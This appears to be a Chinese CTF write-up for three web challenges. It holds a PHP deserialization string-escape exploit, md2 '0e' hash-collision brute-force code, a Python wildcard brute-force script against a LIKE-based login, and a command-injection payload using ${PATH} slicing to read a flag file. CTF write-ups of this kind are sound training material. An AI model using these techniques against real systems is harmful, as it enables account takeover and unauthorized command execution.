当前位置: 首页 > news >正文

月饼杯(web全解)

web1_此夜圆

<?php
error_reporting(0);class a
{public $uname;public $password;public function __construct($uname,$password){$this->uname=$uname;$this->password=$password;}public function __wakeup(){if($this->password==='yu22x'){include('flag.php');echo $flag;	}else{echo 'wrong password';}}}function filter($string){return str_replace('Firebasky','Firebaskyup',$string);
}$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

给了源码,一眼字符串逃逸,我们没法直接控制反序列化的内容,但是正因为过滤器的使用导致我们可以通过uname属性去控制password属性。

那么首先得确定我们要逃逸的字符,以及它的长度!

";s:8:"password";s:5:"yu22x";}就是这部分,经过计算就是30个字符。也就是说我们要通过uname去把这部分给逃逸出来,那么就得有30个字符来替代它!就是需要15个Firebasky通过过滤器添加30个字符!exp:

<?php
error_reporting(0);class a
{public $uname='FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';public $password='yu22x';
}
function filter($string){return str_replace('Firebasky','Firebaskyup',$string);
}
$ser=filter(serialize(new a()));
echo $ser;
?>

web2_故人心

一道php的绕过题

 <?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));if($d){highlight_file('hint.php');if(filter_var($url[1],FILTER_VALIDATE_URL)){$host=parse_url($url[1]);print_r($host); if(preg_match('/ctfshow\.com$/',$host['host'])){print_r(file_get_contents($url[1]));}else{echo '差点点就成功了!';}}else{echo 'please give me url!!!';}     }else{echo '想一想md5碰撞原理吧?!';}
}else{echo '第一个都过不了还想要flag呀?!';
}
<?php 
$flag="flag in /fl0g.txt";

第一步想不出,后面发现是利用向下溢出!

第二步脚本爆破

<?php
for ($i=0; $i<=9999; $i++){$b = '0e'.$i.'024452';if ($b == hash("md2", $b)){echo $b;echo "\n";break;}
}
for ($j=0; $j<=9999; $j++){$c = '0e'.$j.'48399';if ($c==hash("md2",hash("md2", $c))){echo $c;break;}
}
?>0e652024452
0e603448399

第三步不用绕,直接目录穿越即可!

web3_莫负婵娟

<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

利用通配符,先把密码的位数给弄出来,当然也可以直接爆!%被过滤了,用_就可以!

import requestsurl = "http://eb5c0e75-e650-4ca5-af41-a35373140859.challenge.ctf.show/login.php"j = '_'
while True:data = {"username": "yu22x","password": j}res = requests.post(url,data = data)if "wrong username or password" not in res.text:print(len(j))breakelse:j += '_'

32位,然后直接登入不行!还是老实一点!


import stringflag = string.ascii_letters + string.digits
url = "http://eb5c0e75-e650-4ca5-af41-a35373140859.challenge.ctf.show/login.php"password = ''j = '_'
for i in range(32):for g in flag:data = {"username": "yu22x","password": password + g + (31-i) * j}res = requests.post(url, data=data)if "wrong username or password" not in res.text:password += gprint(password)break

登入之后发现是ping,但是好多东西被过滤了。fuzz一下吧!

  # $ . 0 1 2 3 4 5 6 7 8 9 : ; ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _ { } ~ 可以用这些,那么环境变量注入即可!

payload:

127.0.0.1;${PATH:5:1}${PATH:2:1}

*被过滤,用?
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???

总结

故人心还是有点烦人,rce的话就是环境变量加切片操作就好了!${PATH}

http://www.dtcms.com/a/400088.html

相关文章:

  • 临床研究三千问——临床研究体系的5库(10)
  • 邢台装修网站建设软件开发八个阶段
  • 烟台网站建设公司地址婚纱摄影网站建设
  • 网站开发培训视频400靓号手机网站建设
  • 百度云加速 网站关键词ftp服务器搭建设置网站信息
  • 打通数字孪生项目的“最后一公里”:筑牢行业智能数字地基,重构产业落地敏捷基因
  • 新乡建设招标投标网站捕鱼游戏源码论坛
  • 路径规划智能小车(论文+源码)
  • 犀牛云网站建设wordpress插件dflip
  • 11.vector的模拟实现
  • 可以在什么网站做二建题目wordpress插件出错
  • 0716网站建设php图书管理系统网站开发
  • 做电子板报的网站企业宣传册文案范文
  • 深圳做公司网站推广的太原网站建设名录
  • 营口电商网站建设企业模板网站vue
  • python基本程序要素
  • 做镜像网站利润用ps怎么做网站背景
  • 中移物联ML307C模组OPENCPU笔记2
  • 专业网站制作公司排名网站建设底部
  • 优选算法---滑动窗口 题目及算法分析 代码实现
  • 做水果网站首页的图片素材免费空间使用指南
  • 基于SpringBoot的实习管理系统设计与实现
  • 47. 全排列 II
  • ru后缀的网站百度搜索怎么优化
  • 自己做的网站无法访问php网站开发最低配置
  • 手机如何做车载mp3下载网站网站都需要续费吗
  • Linux常用命令52——head显示文件开头的内容
  • muffin窗管无法获取焦点
  • 合肥网站推广哪家好制作网站计划书
  • 张家港公司网站建设云巅seo